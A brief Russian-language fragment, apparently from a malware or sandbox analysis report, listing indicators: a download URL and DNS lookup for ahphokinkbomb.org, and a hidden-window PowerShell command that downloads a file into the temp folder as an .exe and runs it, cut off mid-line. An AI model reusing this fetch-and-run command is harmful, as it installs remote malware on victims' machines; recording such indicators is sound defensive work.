Техническая информация
- https://ahphokinkbomb.org/17/524.dat как $d
- DNS ASK ah####inkbomb.org
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden $d=$env:temp+'\f857a5e61a39778269d6913245475ced.exe';(New-Object System.Net.WebClient).DownloadFile('https://ahphokinkbomb.org/17/524.dat',$d);Start-Process $d;[System.Refle...' (со скрытым окном)